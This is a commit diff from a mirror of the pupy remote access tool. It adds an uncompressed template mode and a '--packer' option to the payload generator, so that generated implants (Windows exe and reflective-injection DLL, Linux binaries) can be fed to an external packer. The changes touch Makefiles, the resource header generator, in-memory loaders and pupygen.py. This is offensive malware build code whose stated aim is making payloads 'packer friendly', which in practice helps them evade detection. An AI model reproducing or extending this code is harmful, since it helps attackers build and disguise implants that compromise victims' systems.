mirror of https://github.com/n1nj4sec/pupy.git
Make pupy packer friendly (optionally)
This commit is contained in:
parent
040ca0975a
commit
24998d3bcc
|
@ -8,32 +8,37 @@ import struct
|
|||
MAX_CHAR_PER_LINE=50
|
||||
|
||||
if __name__=="__main__":
|
||||
h_file=""
|
||||
file_bytes=b""
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
file_bytes=f.read()
|
||||
h_file=""
|
||||
file_bytes=b""
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
file_bytes=f.read()
|
||||
|
||||
attribute = '\n'.join([
|
||||
'__attribute__(({}))'.format(x) for x in sys.argv[2:]
|
||||
])
|
||||
compressed = int(sys.argv[2])
|
||||
|
||||
payload_len = len(file_bytes)
|
||||
payload = struct.pack('>I', payload_len) + pylzma.compress(
|
||||
file_bytes,dictionary=24,fastBytes=255)
|
||||
attribute = '\n'.join([
|
||||
'__attribute__(({}))'.format(x) for x in sys.argv[3:]
|
||||
])
|
||||
|
||||
h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload))
|
||||
h_file += attribute
|
||||
h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
|
||||
current_size=0
|
||||
payload_len = len(file_bytes)
|
||||
payload = struct.pack('>I', payload_len) + (
|
||||
pylzma.compress(
|
||||
file_bytes, dictionary=24, fastBytes=255
|
||||
) if compressed else file_bytes
|
||||
)
|
||||
|
||||
for c in payload:
|
||||
h_file+="'\\x%s',"%binascii.hexlify(c)
|
||||
current_size+=1
|
||||
if current_size>MAX_CHAR_PER_LINE:
|
||||
current_size=0
|
||||
h_file+="\n"
|
||||
h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload))
|
||||
h_file += attribute
|
||||
h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
|
||||
current_size=0
|
||||
|
||||
h_file += "'\\x00' };\n"
|
||||
for c in payload:
|
||||
h_file+="'\\x%s',"%binascii.hexlify(c)
|
||||
current_size+=1
|
||||
if current_size>MAX_CHAR_PER_LINE:
|
||||
current_size=0
|
||||
h_file+="\n"
|
||||
|
||||
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
|
||||
w.write(h_file)
|
||||
h_file += "'\\x00' };\n"
|
||||
|
||||
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
|
||||
w.write(h_file)
|
||||
|
|
|
@ -1,21 +1,29 @@
|
|||
/* --- Code for inlining --- */
|
||||
|
||||
#ifndef UNCOMPRESSED
|
||||
#include "LzmaDec.h"
|
||||
|
||||
static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
|
||||
static void _lzfree(void *p, void *address) { p = p; free(address); }
|
||||
static ISzAlloc _lzallocator = { _lzalloc, _lzfree };
|
||||
#define lzmafree(x) free(x)
|
||||
#else
|
||||
#define lzmafree(x) do {} while (0)
|
||||
#endif
|
||||
|
||||
static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_size) {
|
||||
unsigned char *uncompressed = NULL;
|
||||
size_t uncompressed_size = 0;
|
||||
|
||||
#ifndef UNCOMPRESSED
|
||||
const Byte *wheader = (Byte *) data + sizeof(unsigned int);
|
||||
const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE;
|
||||
|
||||
ELzmaStatus status;
|
||||
|
||||
size_t srcLen;
|
||||
int res;
|
||||
#endif
|
||||
|
||||
union {
|
||||
unsigned int l;
|
||||
|
@ -29,6 +37,7 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
|
|||
|
||||
uncompressed_size = x.l;
|
||||
|
||||
#ifndef UNCOMPRESSED
|
||||
uncompressed = malloc(uncompressed_size);
|
||||
if (!uncompressed) {
|
||||
return NULL;
|
||||
|
@ -45,6 +54,9 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
|
|||
free(uncompressed);
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
uncompressed = data + sizeof(unsigned int);
|
||||
#endif
|
||||
|
||||
if (puncompressed_size) {
|
||||
*puncompressed_size = uncompressed_size;
|
||||
|
@ -64,6 +76,6 @@ static PyObject *PyObject_lzmaunpack(const char *data, size_t size) {
|
|||
object = PyMarshal_ReadObjectFromString(
|
||||
uncompressed, uncompressed_size);
|
||||
|
||||
free(uncompressed);
|
||||
lzmafree(uncompressed);
|
||||
return object;
|
||||
}
|
||||
|
|
|
@ -47,7 +47,16 @@ PYTHON ?= python
|
|||
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
|
||||
|
||||
PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o
|
||||
COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o LzmaDec.o
|
||||
COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o
|
||||
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
COMMON_OBJS += LzmaDec.o
|
||||
COMPRESSED = 1
|
||||
else
|
||||
CFLAGS += -DUNCOMPRESSED
|
||||
SUFFIX := unc.$(SUFFIX)
|
||||
COMPRESSED = 0
|
||||
endif
|
||||
|
||||
ifeq ($(OS),Linux)
|
||||
ifeq ($(ARCH),64)
|
||||
|
@ -76,21 +85,23 @@ import-tab.c import-tab.h: mktab.py
|
|||
Python-dynload.o: Python-dynload.c import-tab.c import-tab.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS)
|
||||
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
LzmaDec.o: ../lzma/LzmaDec.c
|
||||
$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
|
||||
endif
|
||||
|
||||
resources/library_compressed_string.txt: ../gen_library_compressed_string.py resources/library.zip
|
||||
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py
|
||||
|
||||
resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip
|
||||
$(PYTHON) $(PFLAGS) ../gen_resource_header.py \
|
||||
resources/library_compressed_string.txt $(XZARGS)
|
||||
resources/library_compressed_string.txt $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources/bootloader.pyc: ../gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py
|
||||
$(PYTHON) $(PFLAGS) ../gen_python_bootloader.py $(DEBUG_ADD)
|
||||
|
||||
resources_bootloader_pyc.c: ../gen_resource_header.py resources/bootloader.pyc
|
||||
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
|
||||
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
linux-inject/%.o: linux-inject/%.c
|
||||
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
|
||||
|
@ -120,13 +131,13 @@ resources/library.zip: ../build_library_zip.py ../additional_imports.py
|
|||
$(PYTHON) -OO $(PFLAGS) $<
|
||||
|
||||
resources_python27_so.c: ../gen_resource_header.py resources/python27.so
|
||||
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
|
||||
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources_libssl_so.c: ../gen_resource_header.py resources/libssl.so
|
||||
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
|
||||
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources_libcrypto_so.c: ../gen_resource_header.py resources/libcrypto.so
|
||||
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
|
||||
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): main_exe.o $(PYOBJS) $(COMMON_OBJS)
|
||||
$(CC) $(PIE) $+ -o $@ $(LDFLAGS)
|
||||
|
|
|
@ -25,6 +25,10 @@ make clean
|
|||
make PIE=
|
||||
make clean
|
||||
make DEBUG=1 PIE=
|
||||
make clean
|
||||
make PIE= UNCOMPRESSED=1
|
||||
make clean
|
||||
make DEBUG=1 PIE= UNCOMPRESSED=1
|
||||
__CMDS__
|
||||
|
||||
umount buildenv/lin32/dev
|
||||
|
@ -44,6 +48,10 @@ make clean
|
|||
make
|
||||
make clean
|
||||
make DEBUG=1
|
||||
make clean
|
||||
make UNCOMPRESSED=1
|
||||
make clean
|
||||
make DEBUG=1 UNCOMPRESSED=1
|
||||
__CMDS__
|
||||
|
||||
umount buildenv/lin64/dev
|
||||
|
|
|
@ -53,7 +53,7 @@ static inline void* xz_dynload(const char *soname, const char *xzbuf, size_t xzs
|
|||
|
||||
void *res = memdlopen(soname, (char *) uncompressed, uncompressed_size);
|
||||
|
||||
free(uncompressed);
|
||||
lzmafree(uncompressed);
|
||||
|
||||
if (!res) {
|
||||
dprint("loading %s from memory failed\n", soname);
|
||||
|
@ -169,17 +169,13 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
|
|||
PyObject *sub = PySequence_GetItem(seq, i);
|
||||
if (seq) {
|
||||
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
|
||||
dprint("EVAL CODE %p -> %p\n", sub, discard);
|
||||
if (!discard) {
|
||||
#ifdef DEBUG
|
||||
PyObject *ptype, *pvalue, *ptraceback;
|
||||
PyErr_Fetch(&ptype, &pvalue, &ptraceback);
|
||||
dprint("SEQ %d EXCEPTION: %s\n", i, PyString_AsString(pvalue));
|
||||
PyErr_Print();
|
||||
#endif
|
||||
rc = 255;
|
||||
break;
|
||||
}
|
||||
Py_XDECREF(discard);
|
||||
/* keep going even if we fail */
|
||||
}
|
||||
Py_XDECREF(sub);
|
||||
}
|
||||
|
|
|
@ -45,9 +45,18 @@ PYOBJS := \
|
|||
COMMON_OBJS := \
|
||||
MemoryModule.obj \
|
||||
actctx.obj list.obj thread.obj remote_thread.obj \
|
||||
LoadLibraryR.obj LzmaDec.obj
|
||||
LoadLibraryR.obj
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
COMMON_OBJS += LzmaDec.obj
|
||||
COMPRESSED = 1
|
||||
else
|
||||
CFLAGS += /DUNCOMPRESSED
|
||||
SUFFIX := unc.$(SUFFIX)
|
||||
COMPRESSED = 0
|
||||
endif
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll
|
||||
|
||||
$(BUILDENV_READY):
|
||||
./buildenv.sh "$(BUILDENV)"
|
||||
|
@ -71,13 +80,13 @@ resources/library.zip: ../build_library_zip.py $(BUILDENV_READY)
|
|||
$(PYTHON) ../build_library_zip.py -windows
|
||||
|
||||
resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(BUILDENV_READY)
|
||||
$(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt
|
||||
$(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt $(COMPRESSED)
|
||||
|
||||
resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py ../gen_python_bootloader.py $(BUILDENV_READY)
|
||||
$(PYTHON) ../gen_python_bootloader.py $(DEBUG_ADD)
|
||||
|
||||
resources_bootloader_pyc.c: resources/bootloader.pyc ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
|
||||
|
||||
resources/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll $(BUILDENV_READY)
|
||||
cp $< $@
|
||||
|
@ -86,16 +95,18 @@ resources/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll $(BUILDE
|
|||
cp $< $@
|
||||
|
||||
resources_python27_dll.c: resources/python27.dll ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
|
||||
|
||||
resources_msvcr90_dll.c: resources/msvcr90.dll ../gen_resource_header.py $(BUILDENV_READY)
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $<
|
||||
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
|
||||
|
||||
$(PYOBJS): %.obj: %.c
|
||||
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $<
|
||||
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
LzmaDec.obj: ../lzma/LzmaDec.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
endif
|
||||
|
||||
main_exe.obj: main_exe.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
|
@ -106,10 +117,10 @@ main_exe.obj: main_exe.c
|
|||
ReflectiveLoader.obj: ReflectiveLoader.c
|
||||
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
|
||||
$(CC) $(CFLAGS) $+ /Fe$@ $(LINKER_OPTS)
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
|
||||
$(CC) $(CFLAGS) $+ /Fe$@ /LD
|
||||
|
||||
.PHONY: clean
|
||||
|
|
|
@ -59,7 +59,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
);
|
||||
|
||||
int r = _load_msvcr90(msvcr90);
|
||||
free(msvcr90);
|
||||
lzmafree(msvcr90);
|
||||
|
||||
dfprint(stderr,"loading msvcr90.dll: %d\n", r);
|
||||
}
|
||||
|
@ -81,7 +81,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
else{
|
||||
void *python27 = lzmaunpack(resources_python27_dll_start, resources_python27_dll_size, NULL);
|
||||
int res = _load_python("python27.dll", python27);
|
||||
free(python27);
|
||||
lzmafree(python27);
|
||||
if(!res) {
|
||||
dfprint(stderr,"loading python27.dll from memory failed\n");
|
||||
|
||||
|
|
|
@ -38,6 +38,7 @@ format = client
|
|||
os = windows
|
||||
arch = x86
|
||||
external = false
|
||||
packer =
|
||||
#output =
|
||||
#launcher =
|
||||
#launcher_args =
|
||||
|
|
|
@ -42,7 +42,7 @@ def check_templates_version():
|
|||
logging.warning("Your templates are not synced with your pupy version ! , you should update them with \"git submodule update\"")
|
||||
|
||||
|
||||
def get_edit_binary(path, conf):
|
||||
def get_edit_binary(path, conf, compressed_config=True):
|
||||
logging.debug("generating binary %s with conf: %s"%(path, conf))
|
||||
binary=b""
|
||||
with open(path, 'rb') as f:
|
||||
|
@ -62,7 +62,8 @@ def get_edit_binary(path, conf):
|
|||
|
||||
new_conf = marshal.dumps(compile(get_raw_conf(conf), '<config>', 'exec'))
|
||||
uncompressed = len(new_conf)
|
||||
new_conf = pylzma.compress(new_conf)
|
||||
if compressed_config:
|
||||
new_conf = pylzma.compress(new_conf)
|
||||
compressed = len(new_conf)
|
||||
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
|
||||
new_conf_len = len(new_conf)
|
||||
|
@ -194,7 +195,7 @@ def updateTar(arcpath, arcname, file_path):
|
|||
finally:
|
||||
shutil.rmtree(tempdir)
|
||||
|
||||
def get_edit_apk(path, conf):
|
||||
def get_edit_apk(path, conf, compressed_config=None):
|
||||
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
|
||||
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
|
||||
try:
|
||||
|
@ -236,8 +237,8 @@ def get_edit_apk(path, conf):
|
|||
shutil.rmtree(tempdir, ignore_errors=True)
|
||||
os.unlink(tempapk)
|
||||
|
||||
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None):
|
||||
TEMPLATE_FMT = fmt or 'pupy{arch}{debug}.{ext}'
|
||||
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None, compressed=True):
|
||||
TEMPLATE_FMT = fmt or 'pupy{arch}{debug}{unk}.{ext}'
|
||||
ARCH_CONVERT = {
|
||||
'amd64': 'x64', 'x86_64': 'x64',
|
||||
'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86',
|
||||
|
@ -298,7 +299,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug
|
|||
else:
|
||||
ext = non_shared_ext
|
||||
|
||||
filename = template.format(arch=arch, debug=debug, ext=ext)
|
||||
filename = template.format(arch=arch, debug=debug, ext=ext, unk='.unc' if not compressed else '')
|
||||
template = os.path.join(
|
||||
'payload_templates', filename
|
||||
)
|
||||
|
@ -317,7 +318,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug
|
|||
|
||||
print colorize("[C] {}: {}".format(k, v), "yellow")
|
||||
|
||||
return generator(template, config), filename, makex
|
||||
return generator(template, config, compressed), filename, makex
|
||||
|
||||
def load_scriptlets():
|
||||
scl={}
|
||||
|
@ -410,6 +411,9 @@ def get_parser(base_parser, config):
|
|||
choices=CLIENT_OS, help='Target OS (default: windows)')
|
||||
parser.add_argument('-A', '--arch', default=config.get('gen', 'arch'),
|
||||
choices=CLIENT_ARCH, help='Target arch (default: x86)')
|
||||
parser.add_argument('-U', '--uncompressed', default=False, action='store_true',
|
||||
help='Use uncompressed template')
|
||||
parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer')
|
||||
parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
|
||||
parser.add_argument('-o', '--output', help="output path")
|
||||
parser.add_argument('-D', '--output-dir', default=config.get('gen', 'output'), help="output folder")
|
||||
|
@ -499,7 +503,8 @@ def pupygen(args, config):
|
|||
|
||||
data, filename, makex = generate_binary_from_template(
|
||||
conf, args.os,
|
||||
arch=args.arch, shared=args.shared, debug=args.debug
|
||||
arch=args.arch, shared=args.shared, debug=args.debug,
|
||||
compressed=not ( args.uncompressed or args.packer )
|
||||
)
|
||||
|
||||
if not outpath:
|
||||
|
@ -522,7 +527,13 @@ def pupygen(args, config):
|
|||
outfile.close()
|
||||
|
||||
if makex:
|
||||
os.chmod(outfile.name, 0511)
|
||||
os.chmod(outfile.name, 0711)
|
||||
|
||||
if args.packer:
|
||||
subprocess.check_call(
|
||||
args.packer.replace('%s', outfile.name),
|
||||
shell=True
|
||||
)
|
||||
|
||||
outpath = outfile.name
|
||||
|
||||
|
|
Loading…
Reference in New Issue